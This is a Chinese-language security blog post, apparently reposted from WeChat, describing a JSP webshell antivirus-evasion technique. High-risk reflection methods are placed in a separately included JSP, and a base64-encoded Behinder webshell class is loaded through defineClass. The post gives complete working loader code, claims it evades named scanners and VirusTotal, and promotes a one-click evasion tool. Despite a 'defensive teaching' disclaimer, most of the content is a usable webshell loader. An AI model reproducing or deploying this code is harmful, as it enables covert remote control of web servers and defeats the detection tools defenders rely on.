JSP木马免杀-分离加载类文件
2023-12-1 18:8:53 Author: XG小刚(查看原文) 阅读量:9 收藏

一位苦于信息安全的萌新小白帽

本实验仅用于信息防御教学,切勿用于它用途

公众号:XG小刚

今天更新了XG拟态V1.5版本
本文介绍一下jspdemo7的免杀原理
https://github.com/xiaogang000/XG_NTAI
原理
采用分离免杀和文件包含的原理,将高危函数放在单独jsp文件(类jsp)中等待调用,在webshell中文件包含该jsp(类jsp)
单文件检测时沙箱无法调用(类jsp),从而导致500报错,从而绕过
              
基础文件(类jsp)
将需要使用的高危函数defineClasssetAccessibleloadClass等使用反射获取到对应的method
放在一个自定义类里等待调用
然后将该类写成jsp文件单独上传(这里称为: 类jsp),并记录上传后的jsp文件名(比如:method.jsp)。
<%!public static class M {    M(){}    public static java.util.Map<String,Object> getmethod () throws Exception {        java.util.HashMap<String, Object> map = new java.util.HashMap<String, Object>();        java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);        map.put("defineClass",defineClass);        java.lang.reflect.Method setAccessible = java.lang.reflect.AccessibleObject.class.getMethod("setAccessible", boolean.class);        map.put("setAccessible",setAccessible);        java.lang.reflect.Method loadClass = ClassLoader.class.getDeclaredMethod("loadClass", String.class);        map.put("loadClass",loadClass);        return map;    }}%>
              
使用文件包含调用M类
在webshell中将tomcat某版本解析出的冰蝎class文件使用base64存储
解码后使用defineClass注册成为一个类
String yBTRKS_jsp = "ZHFxxxxxxx";              byte[] classBytes_yBTRKS_jsp = Base64.getDecoder().decode(yBTRKS_jsp);              yBTRKS_jsp = new String(classBytes_yBTRKS_jsp);              classBytes_yBTRKS_jsp = Base64.getDecoder().decode(yBTRKS_jsp.substring(24));
在webshell中使用include包含(类jsp)
<%@ include file="method.jsp"%>
才能使用(Method)M.getmethod().get("defi"+"neClass");获取到defineClass函数
Method defineClass = (Method)M.getmethod().get("defi"+"neClass");              Method setAccessible = (Method)M.getmethod().get("setA"+"ccessible");              Method loadClass = (Method)M.getmethod().get("loadC"+"lass");              setAccessible.invoke(defineClass,true);
然后再使用invoke()函数执行,并注册成为一个HttpJspBase即可
<%@ page pageEncoding="UTF-8" %><%@ page import="java.util.*" %><%@ page import="java.lang.reflect.*" %><%@ page import="org.apache.jasper.runtime.HttpJspBase" %><%@ include file="method.jsp"%><%    String yBTRKS_jsp = "ZHFxxxxxxx";    byte[] classBytes_yBTRKS_jsp = Base64.getDecoder().decode(yBTRKS_jsp);    yBTRKS_jsp = new String(classBytes_yBTRKS_jsp);    classBytes_yBTRKS_jsp = Base64.getDecoder().decode(yBTRKS_jsp.substring(24));
Method defineClass = (Method)M.getmethod().get("defi"+"neClass"); Method setAccessible = (Method)M.getmethod().get("setA"+"ccessible"); Method loadClass = (Method)M.getmethod().get("loadC"+"lass"); setAccessible.invoke(defineClass,true); Class aClass = null; try { defineClass.invoke(application.getClassLoader(), "org.apache.jsp.yBTRKS_jsp", classBytes_yBTRKS_jsp, 0, classBytes_yBTRKS_jsp.length);
}catch (Exception exception){ aClass = (Class) loadClass.invoke(application.getClassLoader(), "org.apache.jsp.yBTRKS_jsp"); } HttpJspBase httpJspBase = (HttpJspBase) aClass./*test*/ newInstance(); httpJspBase.init(pageContext.getServletConfig()); httpJspBase.service(request, response);%>

可免杀:

阿里云恶意文件检测平台、阿里云主机病毒查杀、河马在线、河马本地(1.8.2)、

D盾(2.1.7)、微步(安全)、VT(0红)

使用XG_NTAI.jar一键免杀即可

XG拟态会持续更新免杀demo,多多支持star


文章来源: http://mp.weixin.qq.com/s?__biz=MzIwOTMzMzY0Ng==&mid=2247487519&idx=1&sn=d5114009b4368cf9bc2cc9fbee14ef90&chksm=97742cfea003a5e86e5c41578f47a16e0a4906c0a49a125a6e8b464d59d8a435bc86c4ba99d9&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh